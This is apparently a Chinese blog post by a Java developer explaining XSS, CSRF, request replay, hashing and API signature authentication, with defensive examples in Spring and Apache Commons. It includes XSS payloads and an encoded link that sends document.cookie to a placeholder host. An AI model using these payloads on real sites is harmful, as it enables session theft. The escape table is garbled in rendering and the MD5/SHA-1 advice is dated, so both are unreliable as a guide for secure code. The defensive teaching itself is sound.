本人作爲一名Java開發者,在工作中時常遇到需要從其它系統拉取數據,那麼就需要跟其它系統的同學溝通爲我們開放接口,對方會發送一些AppId和AppKey之類的數據,在我們請求接口的時候,需要把這些值和參數等信息一起生成摘要發送過去;最近項目又因其它原因,需要開放外網,於是安全部對系統一頓掃描,提出各類安全要求,本人也將近期的收穫分享給大家
1. XSS防禦
1)XSS原理
XSS是最常見的功能類型,其原理就是在WEB頁面中嵌入惡意腳本程序,當用戶在打開頁面的時候,惡意的腳本程序就會在客戶端的瀏覽器中執行;
例如:在輸入框中輸入以下代碼
<script>alert("hello");</script>
還可以將URL進行URLEncode進行編碼
比如:將<,>,/進行轉換爲 %3cscript%3ealert(%22aaa%22)%3b%3c%2fscript%3e
除了以上的方式之外,還可能轉換大小寫,來躲避過濾器
比如:<ScrIPt>xxx</sCRipT>
2)XSS分類
反射型XSS:
通常可利構造一個包含惡意代碼的url欺騙受害者訪問,當受害者打開這個鏈接時瀏覽器就會執行這段惡意代碼。
例如某站點存在反射型XSS,構造含有惡意代碼url並通過QQ,郵件或者論壇的形式發出來,所有點擊該鏈接的用戶都會在他們的瀏覽器執行這段惡意代碼。將惡意代碼進行一個簡單的url編碼或者base64編碼,受害者看到的鏈接就會變的很長,這樣受害者很可能沒有看出參數中包含着惡意代碼,就相信這是個安全鏈接,從而受到XSS。
存儲型XSS:
例如 某微博網站存在存儲型XSS,GJ者寫下含有惡意代碼的文章,當用戶在瀏覽他的文章時,就會在用戶的瀏覽器端執行這段代碼;惡意代碼存儲在服務器,所以是存儲型XSS
漏洞危害:
1.操作受害者的Cookie
http://www.xxx.com/xxs?name=test%3cscript%3edocument.location%3d%22http%3a%2f%2fwww.your.com%2fgetcookie%3fcookie%3d%22%2bdocument.cookie%3c%2fscript%3e
2.構造網絡請求
在參數中直接寫一段惡意代碼就可以用ajax直接發起HTTP Request請求
3.釣魚網站
釣魚的方式有很多,例如在參數中構造一個頁面跳轉的惡意代碼,受害者可能沒有意識到自己已經被跳轉到了一個仿造當前站點的假頁面上。
- 盜取受害者一些信息
就像盜取cookie一樣,通過寫入一些惡意代碼就可以收集受害者的一些信息。
3)XSS防禦
常見的防範方式:
1.輸入的參數轉義
對用戶輸入的參數進行過濾和編碼:包括用戶輸入,url參數、post參數
org.springframework.web.util.HtmlUtils.htmlEscape(evilCode); //spring-web 庫中自帶的函數
org.apache.commons.lang3.StringEscapeUtils.escapeHtml4(evilCode); //需要依賴apache commons-lang類庫
此函數主要對以下字符轉義:
" -> "
& -> &
< -> <
> -> >
' -> '
注:可以通過重寫HttpServletRequestWrapper的getParameter、getParameterValues方法,進行編碼處理。
img標籤,在加載圖片失敗的時候,會調用該元素上的onerror事件;
2. 輸出檢查
輸出時也要對數據進行檢查處理,對輸出內容做實體編碼處理。
3. HttpOnly
XSS 一般利用js腳本讀取用戶瀏覽器中的Cookie,而如果在服務器端對 Cookie 設置了HttpOnly 屬性,那麼js腳本就不能讀取到cookie,但是瀏覽器還是能夠正常使用cookie
一旦這個HttpOnly被設置,你在瀏覽器的 document對象中就看不到Cookie了,而瀏覽器在瀏覽的時候不受任何影響
cookie.setHttpOnly(true);
2. CSRF防禦
1)CSRF原理
首先來看一個示例:
1).當用戶登錄正常的服務器A時,服務器會返回用戶登錄成功的cookie
2).此時,用戶去訪問服務B,服務B是HK準備好的一個服務A的一個網址
3).服務B返回的服務A的鏈接響應到用戶瀏覽器時,用戶瀏覽器會使用正確的cookie去請求服務A
注:因爲cookie不支持跨域訪問,所以請求還是在用戶瀏覽器發出的
常見的僞造方式有get和post兩種方式
2)CSRF防禦
1 驗證Referer字段
最簡單的方式就是過濾請求頭中的Referer
Referer標識當前請求的來源頁面,瀏覽器訪問時除了自動帶上Cookie還會自動帶上Referer,所以服務端可以檢測Referer頭是否本網站頁面來決定是否響應請求。
但該方式會存在缺陷,一是因爲瀏覽器是可以設置禁止發送Referer頭的,如果使用該方式那麼禁止Referer頭的瀏覽將無法正常使用,這可能會降低用戶使用體驗。二是因爲由於移動端的崛起當下流行前後端分離app和web共用一套後端代碼,但app是不會自動帶Referer頭的,如果使用該方式app端不好處理。
2 token方式
token方式就是通過在服務端生成一個隨機數返回給客戶端,CSRF依賴於瀏覽器該問鏈接時自動加載對應網站的cookie,token不放在cookie中,放在請求頭或者請求參數中帶回到服務器,而在前端通常使用了個隱藏標籤保存token值。
每次請求都會生成一個新的token,也就是說一個token只能請求一次後端,多次則失效。這樣做爲了更加的安全,但也有些不拖,每次請求後端都需要生成token,後端需要保存大量的token值。
我們也可以在用戶登錄後到退出前,一個用戶使用一個token,只要保證這個token 不會泄漏,就可以保證安全。
token值除了隨機生成之外,還可以利用sessionid作爲token;
3. 防止接口重放
1)接口重放
什麼是接口重放呢?接口重放就是抓取用戶的請求URL,然後重複的執行這條URL,例如這條URL是一個扣減金幣的操作,那麼HK重複的執行這條URL,會就導致用戶的金幣扣減。
2)接口重放防禦
常用的防禦機制是 時間戳+隨機值 的方式
客戶端每次請求到後端時會在前端生成一個timestamp和一個UUID,後端接收到請求之後,校驗這個timestamp的值是否過期(假如我們定義30秒後過期),如果過期,則丟棄本次請求,如果沒有過期,那麼再驗證UUID在redis中是否存在,如果不存在,則存入,存在,則表明這個請求的UUID已經被使用過了,也丟棄本次請求。
4. 數字簽名
上節介紹了接口重放的防禦策略,那麼對於上面的方法也有不拖之處,比如redis中需要記錄大量的UUID。那麼有沒有更好的辦法呢?
假如我們的請求還沒有到達後端之前就已經被HK攔截之後,對參數進行篡改,然後再發送請求到後端,那麼面對這種問題上面的解決方案是不是都不好使?
這就需要使用到摘要和數字簽名了。
1)數字摘要
數字摘要也稱爲消息摘要,它是一個唯一對應一個消息或文本的固定長度的值,它由一個單向Hash函數對消息進行計算而產生。後端服務接收到摘要信息之後,採用相同的Hash重新對參數進行計算Hash值,然後拿客戶端傳的Hash值和後端服務生成的Hash值進行對比,如果一樣,則認爲消息沒有被篡改。
1. MD5
MD5是數字摘要算法的一種實現,用於確保信息傳輸完整性和一致性,摘要長度爲128位。
2. SHA
常用的是SHA-1算法,該算法生成的摘要信息的長度爲160位,由於生成的摘要信息更長,運算的過程更加複雜,在相同的硬件上,SHA-1的運行速度比MD5更慢,但是也更爲安全。
3. Base64編碼
Base64是一種基於64個可打印字符來表示二進制數據的方法,由於2的6次方等於64,所以每6位爲一個單元,對應某個可打印字符,三個字節有24位,對應於4個Base64單元,即3個字節需要用4個可打印字符來表示。
Base64並不是一種加密算法,它只是一種編碼方式。
4. 彩虹表破解Hash算法
簡單地說,彩虹表就是一張採用各種Hash算法生成的明文和密文的對照表,在彩虹表中,表內的每一條記錄都是一串明文對應一種Hash算法生成的一串密文。通過Hash值去彩虹表中進行查找出明文。
2)對稱加密
對稱加密也就是 加密和解密都使用同一個密鑰,發送和接收雙方都使用這個密鑰對數據進行加密和解密,這就要求加密和解密方事先都知道加密的密鑰。
常見的對稱加密算法有DES算法和AES算法
3)非對稱加密
非對稱加密它需要兩個密鑰,一個稱爲公開密鑰即公鑰;另一個稱爲私有密鑰,即私鑰;公鑰與私鑰需要配對使用,如果用公鑰加密數據,只有用對應的私鑰才能進行解密,而如果使用私鑰對數據進行加密,那麼只有用對應的公鑰才能進行解密。
常用的非對稱加密算法有RSA算法
4)摘要認證的實現
摘要認證的流程:
1. 客戶端生成摘要
- 將請求的參數按照一定約定進行排序,這種排序方式服務器也必須知道,因爲它也需要通過相同的方式排序參數。
- 將請求參數串起來之後,加上secret(密鑰)
- 使用摘要算法,生成摘要串,請求的時候,將此參數放在請求頭中帶到服務器。
2. 服務端校驗摘要
- 服務端主要是請接收到的參數按客戶端的排序方式對參數進行排序
- 服務器端也保存了secret參數,取出來之後和請求參數一起拼接起來
- 生成摘要與客戶端的摘要串進行比較。如果相同,則該請求合法。
3. 服務端生成響應摘要
- 服務端響應的數據如果有必要也可以對其進行摘要認證。
- 服務端將摘要放在響應頭中返回給客戶端。
4. 客戶端校驗響應摘要
- 客戶端接收到響應內容後,也對其生成摘要
- 比較服務端與客戶端生成的摘要內容是否一致,一致則認爲沒有被篡改
5)簽名認證的實現
簽名認證的原理與摘要認證的原理幾乎一樣,不同之外在於,簽名認證使用的是非對稱加密算法,它相比於摘要認證的好處就是,摘要認證客戶端和服務端使用的是相同的secret,如果其中一方泄漏,那麼就達不到安全的標準了。而簽名認證使用的是非對稱加密,通過公鑰加密私鑰解密或者是私鑰加密公鑰解密。
1. 客戶端生成簽名
它與摘要認證的不同之處在於生成摘要之後,需要加密。
2. 服務端校驗簽名
通過公鑰解決後,比較摘要串,這都和摘要認證的流程很相似。
6)總結
簽名認證就是對非對稱加密技術與數字摘要技術的綜合運用,指的是將通信內容的摘要信息使用發送者的私鑰進行加密,然後將密文與原文一起傳輸給信息的接收者,接收者通過發送者的公鑰解密被加密的摘要信息,然後使用與發送者相同的摘要算法,對接收到的內容採用相同的方式產生摘要信息,比較兩處的摘要信息,如果相同,則說明內容完整的,否則認爲信息是被第三方篡改過的。
常見的數字簽名算法包括:
1. MD5withRSA
表示採用MD5算法生成需要發送正文的數字摘要,並使用RSA算法來對正文進行加密和解密。
2. SHA1withRSA
表示採用SHA-1算法生成需要發送正文的數字摘要,並使用RSA算法來對正文進行加密和解密。